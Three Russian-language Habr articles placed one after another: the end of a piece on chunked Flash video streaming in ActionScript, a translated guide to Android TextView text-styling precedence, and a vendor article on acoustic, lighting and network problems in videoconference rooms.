var bytes:ByteArray = new ByteArray();
bytes = e.bytes;
bytes.position = 0;
data.writeBytes(bytes);
};
//Обработчик события на конец загрузки файла
client.listener.onComplete = function(e:HttpResponseEvent ):void{
//Увеличиваем нижнюю границу на длину загруженных данных
loadedBytes+=data.length;
Получаем размер файла из заголовка ответа
filesize = Number(e.response.header.getValue('Content-Length'))/1024;
//Добавляем загруженные данные в воспроизведение
ns.appendBytes(data);
//Очищаем буфер
data.clear();
//Тригер состояния загрузки. О нем будет сказано ниже
inLoaded = false;
};
//Отправляем запрос на данные
client.request(uri,request);
}
```
Один важный момент для работы кода: объект NetStram должен быть в режиме создания данных, который включается так NetStream.play(null). Это должно быть сделано до того как поступят первые видеоданные.
Дальше по мере надобности следует подгружать оставшиеся части файла такими же кусками по 1 мегабайту. Размер в 1 мб (равен примерно 15 секундам видео) был получен экспериментально в ходе большого количества тестов и для нашей системы. Подгрузкой управляет таймер, который выполняет следующий код по событию.
```
if ((!inLoaded) && (ns.bufferLength <= Math.ceil(loadtime+timeDelta)) && (loadedBytes < filesize)){
inLoaded = true;
loadData();
}
```
Загрузку будем запускать, при соблюдении следующих условий:
inLoaded = false — индикатор состояния, потока true — грузятся данные, false — нет;
ns.bufferLength <= Math.ceil(loadtime+timeDelta) — в буфере воспроизведения осталось времени меньше или равно времени предыдущей загрузки(loadtime) плюс дельта для запаса (timeDelta);
loadedBytes < filesize — не достигнут конец воспроизводимого файла;
Важный момент в режиме создания данных не генерируются события NetStream.Play.Start, NetStream.Play.Stop. Поэтому надо следить за объемом загруженных данных или проигранным временем видео-ролика.
Переменная timeDelta позволяет подстроиться к качеству канала пользователя: в случае опустошения буфера воспроизведения раньше, чем закончится загрузка следующего фрагмента данных, дельта увеличивается.
##### Немного о перемотке
В режиме создания данных некоторые методы класса NetStream меняют свой обычный функционал. Это относится и к методу seek() — он осуществляет поиск ключевого кадра (так называемого I-кадра), расположенного ближе всего к указанной точке. В режиме создания данных после вызова метода seek класс начинает игнорировать все передаваемые методом appendBytes() данные, до вызова метода appendBytesAction(). Аргумент метода может иметь следующие значения NetStreamAppendBytesAction.RESET\_BEGIN или NetStreamAppendBytesAction.RESET\_SEEK, первый подразумевает наличие в свежих данных нового заголовка flv файла и обнуляет счетчики воспроизведения в классе. Вот пример кода перематывающего видео:
```
//Ищем в массиве навигационных точек, полученном из мета-данных видео-файла, смещения в байтах от начала файла по времени на которое кликнули на прогрессбаре воспроизведения
for (var i:Number=0;i=seektpositions)){
//Смещаем наш счетчик загруженных данных на новое значение и новая загрузка начнется именно с этого места
loadedBytes = positions[i];
break;
}
}
//Метод seek сбрасывает и игнорирует уже имеющиеся данные
ns.seek(seektime);
//Cообщаем классу NetStream том что мы просто переходим на новое место файла, а не начинаем проигрывать новый
ns.appendBytesAction(NetStreamAppendBytesAction.RESET\_SEEK);
//Старт загрузки новых данных
loadData();
```
times — массив смещения по времени навигационных точек;
positions — массив смещения по байтам навигационных точек;
##### Пара замечаний
Одной особенностью библиотеки HTTPClientLib является то, что файл с политикой безопасности сокетов (crossdomain.xml) при кросс доменной работе запрашивается с 843 порта сервера, в отличии от стандартных объектов, которые могут подцепить его и с 80-го. Поэтому в конфигурации сервера nginx была добавлена следующая запись:
```
server {
listen 843;
server_name localhost;
location / {
rewrite ^(.*)$ /crossdomain.xml;
}
error_page 400 /crossdomain.xml;
location = /crossdomain.xml {
root /home/www-root;
default_type text/x-cross-domain-policy;
}
}
```
##### Итоги
Применение плеера, который загружает видео по данной методике, позволило значительно сократить объем “лишнего — паразитного” трафика, и снизить нагрузку на потоковые сервера. В среднем на 200 000 просмотров трафик снизился на 30%. Однако, вышеизложенная методика имеет и “негативную” сторону, а именно: наличие у пользователя минимум 10.1 версии Flash Player.
[Полный пример кода](http://dl.dropbox.com/u/30993770/sample_disret_streaming.zip) | https://habr.com/ru/post/142031/ | null | ru | null |
# Как выглядит ваш текст?
Друзья, отличной всем пятницы. Хотим поделиться с вами переводом статьи, подготовленным специально для студентов курса [«Android-разработчик. Продвинутый курс»](https://otus.pw/7EWN/). Приятного прочтения.
Как декларативно стилизовать текст на Android.
*Иллюстрация [Вирджинии Полтрэк](https://twitter.com/VPoltrack)*
`TextView` в Android-приложениях предоставляет несколько атрибутов для стилизация текста и различные способы их применения. Эти атрибуты можно установить непосредственно в layout’e, применить стиль к view или тему к layout’у или, если захотите, установить textAppearance. Но что же из этого следует использовать? И что произойдет, если их скомбинировать?
*Что и когда использовать?*
В этой статье описываются различные подходы к декларативной стилизации текста (т. е. когда вы определяете стили в XML файле), рассматриваются области применения и приоритет каждого из методов.
tl;dr;
------
Вам *следует* прочитать весь пост, но вот краткое изложение.
Помните о порядке приоритетности различных методов стилизации — если вы пытаетесь стилизовать какой-то текст и не видите ожидаемых результатов, то, скорее всего, ваши изменения переопределены чем-то с более высоким приоритетом в этой иерархии:
*Иерархия методов стилизации текста*
Я бы предложил следующий порядок действий для стилизации:
1. Установите любой стиль приложения в `textViewStyle` как стиль по умолчанию для вашей темы.
2. Установите (небольшой) набор `TextAppearance`, которые ваше приложение будет использовать (или использовать/наследовать от [стилей](https://github.com/material-components/material-components-android/blob/master/lib/java/com/google/android/material/typography/res/values/styles.xml) MaterialComponent), и ссылайтесь на них прямо из ваших view
3. Создайте `style`, устанавливая атрибуты, не поддерживаемые `TextAppearance` (которые сами собой будут определять один из ваших `TextAppearance`).
4. Выполните любую уникальную стилизацию прямо в layout’е.
Продемонстрируйте немного стиля
-------------------------------
Вы можете напрямую устанавливать атрибуты `TextView` в layout’е, но этот подход может быть более утомительным и небезопасным. Представьте себе, что вы таким образом пытаетесь обновить цвет всех TextView в приложении. Как и во всех других view, вы можете (и должны!) вместо этого использовать стили для обеспечения согласованности, повторного использования и простоты обновлений. С этой целью я рекомендую создавать стили для текста всякий раз, когда вы, вероятно, захотите применить один и тот же стиль к нескольким view. Это чрезвычайно просто и в значительной степени поддерживается view-системой Android.
Что происходит под капотом, когда вы задаете стиль для view? Если вы когда-либо писали свой custom view, вы, вероятно, видели вызов [context.obtainStyledAttributes(AttributeSet, int[], int, int)](https://developer.android.com/reference/android/content/Context.html#obtainStyledAttributes%28android.util.AttributeSet,%20int%5B%5D,%20int,%20int%29). Таким образом view-система в Android передает в view атрибуты, указанные в layout’е. Параметр `AttributeSet`, по сути, можно рассматривать как карту XML параметров, которые вы указываете в вашем layout’е. Если AttributeSet устанавливает стиль, то **стиль читается первым**, а затем к нему применяются атрибуты, указанные непосредственно во view. Таким образом, мы подошли к первому правилу приоритетности.
***View → Style***
Атрибуты, определенные непосредственно во view, всегда «превалируют» и переопределяют атрибуты, определенные в стиле. Обратите внимание, что применяется **сочетание** атрибутов style и view; определение атрибута в view, который также указывается в стиле, **не отменяет** весь стиль. Также следует отметить, что в ваших view нет реального способа определить, откуда берется стилизация; это решается view системой за вас единожды при подобном вызове. Вы не можете получить оба варианта и выбрать.
Хотя стили чрезвычайно полезны, у них есть свои ограничения. Одним из них является то, что вы можете применить только один стиль к view (в отличие от чего-то вроде CSS, где вы можете применять несколько классов). У `TextView`, однако, есть хитрость, он предоставляет атрибут `TextAppearance`, который работает аналогично `style`. Если вы стилизуете текст через `TextAppearance`, то оставляете атрибут `style` свободным для других стилей, что выглядит практично. Давайте подробнее рассмотрим, что такое `TextAppearance` и как он работает.
TextAppearance
--------------
В `TextAppearance` нет ничего волшебного (например, секретного режима для применения нескольких стилей, о котором вы не должны знать!!!!), `TextView` избавляет вас от некоторой лишней работы. Давайте посмотрим на конструктор `TextView`, чтобы понять, что происходит.
```
TypedArray a = theme.obtainStyledAttributes(attrs, com.android.internal.R.styleable.TextViewAppearance, defStyleAttr, defStyleRes);
TypedArray appearance = null;
int ap = a.getResourceId(com.android.internal.R.styleable.TextViewAppearance_textAppearance, -1);
a.recycle();
if (ap != -1) {
appearance = theme.obtainStyledAttributes(ap, com.android.internal.R.styleable.TextAppearance);
}
if (appearance != null) {
readTextAppearance(context, appearance, attributes, false);
appearance.recycle();
}
// a little later
a = theme.obtainStyledAttributes(attrs, com.android.internal.R.styleable.TextView, defStyleAttr, defStyleRes);
readTextAppearance(context, a, attributes, true);
```
Итак, что здесь происходит? По сути, `TextView` сначала смотрит, указали ли вы `android:textAppearance`, если это так, он загружает этот стиль и применяет все свойства, которые там указаны. Позже он загружает все атрибуты из view (которые помнит, включая стиль) и применяет их. Так мы подходим ко второму правилу приоритетности:
***View → Style → TextAppearance***
Поскольку внешний вид текста (text appearance) проверяется первым, любые атрибуты, определенные либо непосредственно во view, либо в style, будут переопределять его.
С `TextAppearance` следует помнить о еще одном предостережении: он поддерживает **подмножество** атрибутов стиля, которые предлагает `TextView`. Чтобы лучше понять, что я имею в виду, давайте вернемся к этой строке:
`obtainStyledAttributes(ap, android.R.styleable.TextAppearance);`
Мы рассматривали версию `receiveStyledAttributes` с 4 аргументами, эта 2-аргументная версия немного отличается от нее. Она смотрит на данный стиль (как определено первым параметром `id`) и фильтрует его только по атрибутам в стиле, которые появляются во втором параметре, массиве `attrs`. Таким образом, styleable `android.R.styleable.TextAppearance` определяет область действия `TextAppearance`. Глядя на это определение, мы видим, что `TextAppearance` [поддерживает](https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master/core/res/res/values/attrs.xml#4414) многие, **но не все** атрибуты, которые [поддерживает](https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master/core/res/res/values/attrs.xml#4472) `TextView`.
```
```
***Атрибуты стилизации, поддерживаемые `TextAppearance`***
Вот некоторые атрибуты `TextView`, которые не включены в `TextAppearance`: `lineHeight[Multiplier|Extra]`, `lines`, `breakStrategy` и `hyphenationFrequency`. `TextAppearance` работает на уровне символов, а не параграфов, поэтому атрибуты, влияющие на весь layout, не поддерживаются.
Поэтому `TextAppearance` очень полезен, он позволяет нам определять стиль, ориентированный на атрибуты стилизации текста, и оставляет `style` в view свободным для других целей. Однако он имеет ограниченную область применения и находится в нижней части цепочки приоритетов, так что не забывайте об ограничениях.
Разумные значения по умолчанию
------------------------------
Когда мы рассматривали то, как view-система Android разрешает атрибуты (`context.obtainStyledAttributes`), мы на самом деле немного упростили ее. Она вызывает [theme.obtainStyledAttributes](https://developer.android.com/reference/android/content/res/Resources.Theme.html#obtainStyledAttributes%28android.util.AttributeSet,%20int%5B%5D,%20int,%20int%29) (используя текущую `Theme Context`’а). При проверке [ссылки](https://developer.android.com/reference/android/content/res/Resources.Theme.html#obtainStyledAttributes%28android.util.AttributeSet,%20int%5B%5D,%20int,%20int%29) показывается порядок приоритетности, который мы рассматривали ранее, и указывается еще 2 места, которые он ищет для разрешения атрибутов: стиль по умолчанию для view и тема.
*При определении окончательного значения определенного атрибута в игру вступают четыре входных параметра:
1. Любые значения атрибутов в данном AttributeSet.
2. Ресурс стиля, указанный в AttributeSet (с именем «style»).
3. Стиль по умолчанию, указанный в defStyleAttr и defstyleres
4. Базовые значения в этой теме.*
*Порядок приоритетов стилизации из [документации Theme](https://developer.android.com/reference/android/content/res/Resources.Theme#obtainStyledAttributes%28android.util.AttributeSet,%20int%5B%5D,%20int,%20int%29)*
Мы вернемся к темам, но давайте сначала вглянем на стили по умолчанию. Что это еще за стиль по умолчанию? Чтобы ответить на этот вопрос, я думаю, что было бы полезно сделать небольшой выход из темы `TextView` и взглянуть на простой `Button`. Когда вы вставляете ``<``Button``>`` в свой layout, он выглядит примерно так.
*Стандартный Button*
Почему? Если вы посмотрите на исходный код `Button`, то увидете, что он довольно скудный:
```
public class Button extends TextView {
public Button(Context context) {
this(context, null);
}
public Button(Context context, AttributeSet attrs) {
this(context, attrs, com.android.internal.R.attr.buttonStyle);
}
public Button(Context context, AttributeSet attrs, int defStyleAttr) {
this(context, attrs, defStyleAttr, 0);
}
public Button(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
super(context, attrs, defStyleAttr, defStyleRes);
}
@Override public CharSequence getAccessibilityClassName() {
return Button.class.getName();
}
@Override public PointerIcon onResolvePointerIcon(MotionEvent event, int pointerIndex) {
if (getPointerIcon() == null && isClickable() && isEnabled()) {
return PointerIcon.getSystemIcon(getContext(), PointerIcon.TYPE_HAND);
}
return super.onResolvePointerIcon(event, pointerIndex);
}
}
```
Это все! Вот весь класс (без комментариев). Вы можете сами проверить [здесь](https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master/core/java/android/widget/Button.java). Я подожду. Так откуда же берутся фон, заглавные буквы, пульсация и т.д.? Возможно, вы пропустили, но это все определятся в конструкторе с 2 аргументами; тот, который вызывается, когда layout берется из XML. Это последний параметр, который определяет `defaultStyleAttr` в `com.android.internal.R.attr.buttonStyle`. Это стиль по умолчанию, по сути, являющийся точкой косвенного обращения, позволяющей вам указать стиль, который будет использоваться по умолчанию. Он не указывает непосредственно на стиль, но позволяет вам указать на один из тех, что указаны в вашей теме, который он будет проверять при разрешении атрибутов. И это именно то, что делают все темы, от которых вы обычно наследуетесь, чтобы обеспечить вид и восприятие стандартных виджетов. Например, если посмотреть на тему Material, она определяет `@style/Widget.Material.Light.Button`, и именно этот стиль предоставляет все атрибуты, которые передаст `theme.obtainStyledAttributes`, если вы не указали ничего другого.
Вернемся к `TextView`, он также предлагает стиль по умолчанию: `textViewStyle`. Это может быть очень удобно, если вы хотите применить некоторые стили к каждому TextView в вашем приложении. Допустим, вы хотите установить значение межстрочного интервала по умолчанию на 1,2. Вы можете сделать это с помощью `style/TextAppearance` и попытаться применить во время код-ревью (или, может быть, даже с помощью элегантого пользовательского правила в Lint), но вам нужно быть бдительными и быть уверенными в том, что вы наберете новых членов команды, будете осторожны с рефакторингом и т. д.
Лучшим подходом может быть указание собственного стиля по умолчанию для всех `TextView` в приложении, задающего желаемое поведение. Вы можете сделать это, установив свой собственный стиль для `textViewStyle`, который наследуется от платформы или от `MaterialComponents/AppCompat` по умолчанию.
```
...
<item name="android:textViewStyle">@style/Widget.MyApp.TextView</item>
<item name="android:textAppearance">@style/TextAppearance.MyApp.Body</item>
<item name="android:lineSpacingMultiplier">@dimen/text\_line\_spacing</item>
```
С учетом этого, наше правило приоритетности принимает вид:
***View → Style → Default Style → TextAppearance***
Как часть разрешения атрибутов view-системы, этот слот заполняется после стилей (так что все в стиле по умолчанию аннулируется примененным стилем или атрибутами view), но все равно будет переопределять text appearance. Стили по умолчанию могут быть очень удобными. Если вы когда-нибудь надумаете писать свой собственный custom view, то они могут стать мощным способом реализации поведения по умолчанию, позволяя легко его настраивать.
Если вы наследуете виджет и не указываете свой собственный стиль по умолчанию, тогда обязательно используйте стиль родительских классов по умолчанию в конструкторах (не передавайте просто 0). Например, если вы наследуетесь от `AppCompatTextView` и пишете свой собственный конструктор с 2 аргументами, обязательно передайте `android.R.attr.textViewStyle как defaultStyleAttr` ([как здесь](https://github.com/nickbutcher/plaid/blob/master/core/src/main/java/io/plaidapp/core/ui/widget/BaselineGridTextView.java#L58)), иначе вы потеряете поведение родительского класса.
Темы
----
Как упоминалось ранее, есть еще один (последний, я обещаю) способ предоставления информации о стилизации. Другое место `theme.obtainStyledAttributes` будет смотреть прямо в саму тему. То есть, если вы добавите в свою тему атрибут стиля, например `android:textColor`, view-система выберет его в качестве последнего средства. Как правило, это плохая идея — смешивать атрибуты темы и атрибуты стиля, то есть то, что вы применяете непосредственно к view, как правило, никогда не должно устанавливаться для темы (и наоборот), но есть пара редких исключений.
Одним из примеров может быть ситуация, когда вы пытаетесь изменить шрифт во всем приложении. Вы можете использовать один из методов, описанных выше, но ручная настройка стилей/внешнего вида текста повсюду будет монотонна и небезопасна, а стили по умолчанию будут работать только на уровне виджета; подклассы могут переопределять это поведение, например кнопки определяют свой собственный `android:buttonStyle`, который не подхватит ваш `android:textViewStyle`. Вместо этого вы можете указать шрифт в вашей теме:
```
...
<item name="android:fontFamily">@font/space\_mono</item>
```
Теперь любой view, который поддерживает этот атрибут, подхватит его, если это не будет переопределено чем-то с более высоким приоритетом:
***View → Style → Default Style → Theme → TextAppearance***
Опять же, поскольку это является частью системы стилизации view, она будет переопределять все, что предоставляется в текстовом виде, но будет переопределена любыми более конкретными атрибутами.
Помните об этом приоритете. В нашем примере со шрифтом для всего приложения вы можете ожидать, что `Toolbar` подхватит этот шрифт, так как он содержит заголовок, который является `TextView`. Сам класс Toolbar, однако, определяет стиль по умолчанию, содержащий `titleTextAppearance`, который определяет `android:fontFamily`, и непосредственно устанавливает его в заголовке `TextView`, переопределяя значение уровня темы. Стили на уровне темы могут быть полезны, но их легко переопределить, поэтому убедитесь, что они применяются должным образом.
Бонус: Нерешенные вопросы
-------------------------
Вся эта статья была посвящена декларативному оформлению текста на уровне view, то есть тому, как стилизовать весь `TextView` во время заполнения. Любой стиль, примененный после заполнения (например, `textView.setTextColor(…)`), переопределит декларативную стилизацию. `TextView` также поддерживает более мелкие стили через `Span`. Я не буду вдаваться в эту тему, так как она подробно описана в статьях [Флорины Мунтенеску (Florina Muntenescu)](https://medium.com/@florina.muntenescu).
→ [Spantastic text styling with Spans](https://medium.com/google-developers/spantastic-text-styling-with-spans-17b0c16b4568)
→ [Underspanding spans](https://medium.com/google-developers/underspanding-spans-1b91008b97e4)
Я упомяну это для полноты картины, чтобы иметь в виду, что программная стилизация и span’ы будут находиться в верхней части порядка приоритетности:
***Span → Setters → View → Style → Default Style → Theme → TextAppearance***
Выберите свой стиль
-------------------
Несмотря на то, что существует несколько способов стилизации текста, понимание различий между методами и их ограничениями помогает вам найти подходящий инструмент для выполнения конкретной задачи или понять, почему один метод имеет приоритет над другим.
Удачной стилизации текста!
Всех желающих приглашаем на [бесплатный вебинар](https://otus.pw/sgTJ/) в рамках которого познакомимся с DI фреймворком Dagger 2: изучим, как Dagger2 генерирует код, разберемся с аннотациями JSR 330 и конструкциями Dagger2, будем учиться использовать Dagger2 в многомодульном приложении и рассмотрим Dagger Android Injector. | https://habr.com/ru/post/456110/ | null | ru | null |
# Основные проблемы использования видеосвязи в переговорных комнатах и их решение
[В прошлый раз](https://geektimes.ru/company/unitsolutions/blog/280990/) мы подробно рассказали про различное оборудование видеоконференцсвязи для переговорных комнат.
В этой статье мы хотим рассказать про наиболее частые проблемы, возникающие при оснащении и использовании переговорных комнат. Очень часто они являются причиной низкой продуктивности переговоров.
Итак, давайте рассмотрим их подробнее:
1. Акустические проблемы – все проблемы, связанные с качеством захвата и воспроизведения звука.
2. Светотехнические проблемы – проблемы освещения, типа отделки интерьера, использования некачественных видеокамер.
3. Коммуникационные проблемы – отсутствие приоритезации трафика видеосвязи на сетевом оборудовании, подключение ВКС терминала через WiFi/4G, нагрузка от пользователей сети.
Рассмотрим данные проблемы и их решения подробнее.
Акустические проблемы
---------------------
Решение трудностей с восприятием голоса собеседников – первоочередная задача в проектировании переговорной комнаты под ВКС. Следствием этих проблем может стать плохая слышимость удаленных участников и неразборчивость их речи. Людям приходится не раз переспрашивать друг друга и просить повторить сказанное. Это ведет к дискомфорту общения, непродуктивности переговоров и быстрой утомляемости участников.
Наиболее часто встречаемые проблемы со звуком:
1. Эффект эха – это ситуация, когда участник конференции вместе с речью удалённых оппонентов слышит свою речь. Эффект эха возникает вследствие того, что речь участников, воспроизведенная в динамиках удаленной стороны, возвращается через их микрофон. Для компенсации эха есть программные и аппаратные решения, называемые эхоподавителями. Эхоподавление – это процесс распознавания первоначально передаваемого сигнала, повторяющегося с некоторой задержкой, в переданном или полученном сигнале. Как только повторяющийся сигнал распознан, он удаляется путем его вычитания из переданного или полученного сигнала.
Большинство программных клиентов видеосвязи (Скайп, Труконф и пр.) имеют в своих настройках либо встроенный программный эхоподавитель, либо автоматическую коррекцию чувствительности микрофона, для компенсации самовозбуждения.
Программное эхоподавление не всегда решает поставленные задачи, потому появляется необходимость в использовании более эффективных аппаратных эхоподавителей за счет наличия в них специализированных DSP-процессоров обработки аудио сигналов.
Для малых переговорных комнат, например, отличным решением является профессиональный эхоподавитель [Phoenix Audio MT107](http://unitsolutions.ru/speakerphones/226-sistema-shumopodavleniya-phoenix-audio-mt107e-hd.html). Для больших переговорных комнат, когда необходимо микшировать несколько источников аудио сигнала (от двух до четырех), идеально подходит [Phoenix Audio Octopus](http://unitsolutions.ru/mixers/23-audiomiksher-phoenix-audio-octopus.html), который кроме всего прочего имеет встроенный аудио усилитель для акустической системы.
Общая схема работы и подключения эхоподавителя на примере [Phoenix Audio MT107](http://unitsolutions.ru/speakerphones/226-sistema-shumopodavleniya-phoenix-audio-mt107e-hd.html) показана на следующем рисунке:
2. Шумы. В нашем случае – это посторонние звуки, не имеющие отношения к речи докладчиков: техногенные шумы (кондиционеры, вентиляторы оборудования), шуршание бумаги, отодвигание стульев, покашливания и пр.
Микрофоны для конференцсвязи ориентированы на человеческий голос, то есть на захват звуковых волн в определенном диапазоне частот. Резко возникающий шум выбивается из АЧХ человеческой речи, и система шумоподавления старается его вырезать из общего аудиопотока.
Описанные выше решения: [МТ107](http://unitsolutions.ru/speakerphones/226-sistema-shumopodavleniya-phoenix-audio-mt107e-hd.html) и [Octopus](http://unitsolutions.ru/mixers/23-audiomiksher-phoenix-audio-octopus.html), помимо эхоподавления, являются эффективными системами шумоподавления.
3. Обратная акустическая связь. Если в переговорной комнате динамики расположены над микрофонами или направлены в их сторону, то при включении нескольких микрофонов с большой вероятностью будет наблюдаться наводка звука, потому что микрофоны будут усиливать звук, приходящий с динамиков, и самовозбуждаться.
Для борьбы с этим локальным явлением применяют [подавители обратной акустической связи](http://unitsolutions.ru/mixers/778-processor-podavleniya-obratnoj-svyazi-dbx-afs2.html).
Принцип их работы заключается в следующем: подавитель обратной связи определяет, при каком уровне частот начинают возникать наводки и как только эти частоты резко “ползут” вверх, он их вырезает.
Общая схема работы и подключения подавителя обратной акустической связи на примере [DBX AFS2](http://unitsolutions.ru/mixers/778-processor-podavleniya-obratnoj-svyazi-dbx-afs2.html) показана на рисунке:
4. Слабая слышимость. Складывается из двух факторов: использование недостаточно чувствительных микрофонов и систем озвучивания недостаточной мощности.
Рассмотрим первый вариант на конкретном примере. В переговорной комнате установлен аппаратный терминал видеоконференций (Polycom, Cisco и пр.) с штатным микрофоном. Допустим, что его чувствительности не хватает на покрытие всех присутствующих в комнате людей, а аппаратный терминал не поддерживает подключение более одного штатного микрофона.
Решением проблемы может стать подключение к терминалу ВКС микрофонов сторонних производителей через разъем mini-jack 3.5 мм, который есть в каждом терминале даже самых младших моделей.
Это может быть конгресс-система [проводная](http://unitsolutions.ru/block/824-blok-upravleniya-clevermic-cs-10u.html) или [беспроводная](http://unitsolutions.ru/block/344-bkr-wcs-20m.html). Конгресс-система особенно актуальна, когда в комнате более 10 участников.
Вместо конгресс-системы посредством аудиомикшера к терминалу ВКС можно подключить систему настольных или потолочных микрофонов.
Из настольных микрофонов для решения данной задачи подходят [raven](http://unitsolutions.ru/widedirec/48-phoenix-raven.html), которые подключаются к аппаратным терминалам через микшер и эхо/шумоподавитель [Octopus].
Отличным рабочим вариантом потолочных микрофонов является [Biamp Devio CR-1C](http://unitsolutions.ru/widedirec/858-devio-cr-1c.html), который состоит из потолочного микрофона высокой чувствительности и центрального блока.
Системы озвучивания помещения недостаточной мощности дают слабую слышимость удаленных участников. Например, когда используются встроенные в телевизор динамики в помещении большого размера. По нашему опыту, встроенные телевизионные динамики целесообразно использовать в помещениях площадью не более 20-25 кв.м.
В помещениях большего размера звук от телевизионных динамиков рассеивается по мере удаленности сидящих людей от телевизора. В этом случае рекомендуем использовать:
[Потолочные или настенные динамики](http://unitsolutions.ru/29-akusticheskie-sistemy) с аудиоусилителем.
Встроенные в [спикерфоны](http://unitsolutions.ru/speakerphones/225-spikerfon-phoenix-audio-spider-mt503.html) динамики.
В обоих случаях источник звука располагается ближе к людям и, следовательно, собеседников слышно лучше.
5. Неблагоприятные акустические условия вследствие наличия в комнате большого количества звукоотражающих поверхностей, например, стеклянных стен, столов и других элементов интерьера.
В этом случае для наилучшего захвата звука мы рекомендуем использовать [конгресс-системы](http://unitsolutions.ru/20-block), т.к. они оснащаются микрофонами с узконаправленной диаграммой. За счет узкой направленности, [микрофон](http://unitsolutions.ru/33-mikrofoni-dlya-konferenciy) улавливает только голос докладчика, а все посторонние звуки, выходящие за границы диаграммы направленности, отсекаются.
Также в подобных неблагоприятных акустических условиях хорошо себя зарекомендовали микрофонные массивы:
* [Audio Phoenix Condor](http://unitsolutions.ru/widedirec/343-phoenix-audio-condor.html) с интеллектуальной адаптацией уровня громкости голоса в зависимости от удаления докладчика от микрофонного массива.
* [Shure Microflex Advance MXA910](http://unitsolutions.ru/widedirec/864-potolochnyj-mikrofonnyj-massiv-microflex.html) с функциями автоматического микширования, коррекции частотности и снижения эхо-эффекта.
Частично поглотить отражённый звук помогают архитектурные решения – тканевые жалюзи на окна, шумопоглощающее напольное покрытие, звукопоглощающие панели.
Свето-технические проблемы.
---------------------------
Сюда относятся ошибки проектирования переговорной комнаты, мешающие качественному захвату и отображению видео.
1. Неправильное освещение. Не рекомендуется в помещении для ВКС использовать люминесцентные лампы и точечные светильники. Это приводит к неравномерному освещению и мерцанию изображения, получаемого с видеокамер. Второе иногда решается встроенным в [профессиональные камеры ВКС](http://unitsolutions.ru/6-ptz-camera) функционалом компенсации мерцания 50-60 Гц. Но зоны затемнения и засветки компенсировать функционалом камеры практически невозможно. В результате неправильного освещения, камера будет пытаться проработать то слишком тёмные участки, то засвеченные – это может привести к частой перефокусировке и смене общей яркости картинки.
Решением подобных проблем является использование рассеянного света на базе светодиодных ламп, равномерно распределенных по потолку переговорной комнаты в зоне стола для переговоров.
Также необходимо избегать заднюю или боковую подсветку, попадания солнечного света из окон на лица и в объектив камеры.
Оценить навскидку качество освещения можно посмотрев на переговорную через камеру мобильного телефона в режиме видеосъёмки — это выявит основные проблемы с мерцанием света, резкой контрастностью и фокусировкой.
2. Неоптимальные цвета интерьера и задний фон. Стена напротив камеры – немаловажная деталь в проектировании переговорной комнаты. На ней лучше разместить логотип компании и часы, показывающие местное время. В отделке комнаты лучше избегать пестрых цветов, чёрного и ярко белого цвета, сложных узоров в интерьере. Всё это может мешать камере фокусироваться, а участников отвлекать от докладчика.
3. Неоптимальные устройства отображения и захвата видео. При проектировании средств отображения лучше исключить использование проекторов, так как они больше подходят для презентаций. Для того чтобы обеспечить необходимую яркость и контрастность, приходится приглушать свет в помещении. Тогда как при видеоконференции необходимо обеспечивать высокое качество картинки при хорошей освещённости помещения, которая требуется для качественного захвата видео. Учитывая эти требования, лучше всего использовать ЖК-телевизоры, [видеостены](http://unitsolutions.ru/68-videosteny) или [интерактивные видеопанели](http://unitsolutions.ru/77-displei-i-interaktivnye-paneli).
4. В качестве средства захвата видео рекомендуется использовать профессиональные камеры для ВКС. Они обладают необходимыми качествами для работы в переговорных комнатах и конференц-залах. Среди этих качеств высокая светочувствительность, функционал наклона/поворота/увеличения, встроенный функционал коррекции изображения, а также функция автоматического наведения видеокамеры на участников. Web-камеры лучше оставить для персонального использования, и уж тем более стоит избегать использования в переговорных комнатах камер встроенных в мобильные устройства или ноутбуки. Качество картинки с подобных камер сделает для Ваших оппонентов общение дискомфортным и неприятным. Те, кто принимал участие в подобной групповой конференции по Skype с ноутбука меня поймут. Понять кто из группы сейчас к Вам обращается практически невозможно – картинка нечёткая, голоса неразличимы. И это при том, что изображение транслировалось на 55-дюймовую панель в метре от стола.
Коммуникационные проблемы
-------------------------
Сюда относятся проблемы, связанные с каналом передачи видеоданных: недостаточная пропускная способность, большой уровень задержек пакетов, подключение по Wi-Fi, отсутствие приоритезации трафика и пр. Чем больше из следующих рекомендаций сможет обеспечить ваш сетевой администратор, тем лучшее качество видео вы получите.
1. Использование беспроводного подключения по Wi-Fi. Терминал ВКС в переговорной комнате должен иметь проводное подключение к сети. Хотя на деле часто под столом в переговорной комнате не проведен сетевой кабель или для него не выведена розетка.
2. Видео и аудио трафик критичен к задержкам пакетов данных в канале связи. Поэтому нужно обеспечить политику QoS, поместив трафик ВКС в отдельную подсеть или VLAN. Также нужно настроить приоритезацию и маркировку трафика ВКС, чтобы он передавался в первую очередь, а запросы от браузеров, почтовых клиентов и прочий не критичный к задержкам трафик имел приоритет ниже. Например, настроить приоритетную очередь (Priority Queue) для real-time трафика RTP, а также для трафика сигнализации, которая использует конкретные порты: 5060 UDP в случае [SIP] или 4307 [TCP], если вы используете [TrueConf](https://trueconf.ru/products/server/server-videokonferenciy.html).
3. Отказаться от ассимметричного подключения к Интернет в пользу симметричного. Асимметричное соединение, в том числе ADSL, когда входящая скорость значительно больше исходящей, может стать причиной плохого качества связи для ваших собеседников.
4. Обеспечить высокую доступность и лучшую скорость соединения для сервера групповых видеоконференций или MCU. Исходящий трафик на сервере во время конференций значительно превосходит входящий. Поэтому имеет смысл размещать сервер в хорошем дата-центре с гигабитным интернет-каналом, подключив его к вашей VPN сети, чтобы гарантировать для всех участников конференции хорошее соединение с сервером. Кстати, программный сервер ВКС [TrueConf](https://trueconf.ru/products/server/server-videokonferenciy.html) для этих целей имеет специальную версию в магазине приложений Amazon AWS Marketplace.
5. Использовать современные решения для ВКС, т.к. они смогут быстро адаптироваться под меняющиеся условия соединения и смогут “пробить” NAT и Firewall.
Выводы
------
Не всегда удается спроектировать переговорную комнату “с нуля” на этапе её строительства. Часто переговорными комнатами становятся помещения смежные с общим офисным пространством или освободившиеся подсобные помещения со всеми их особенностями. Данная статья рассказала о способах решения наиболее часто встречающихся проблем.
Мы будем рады, если в комментариях к статье Вы поделитесь своим опытом или задачами, которые хотели бы решить, а мы сможем посоветовать Вам способы их решения.
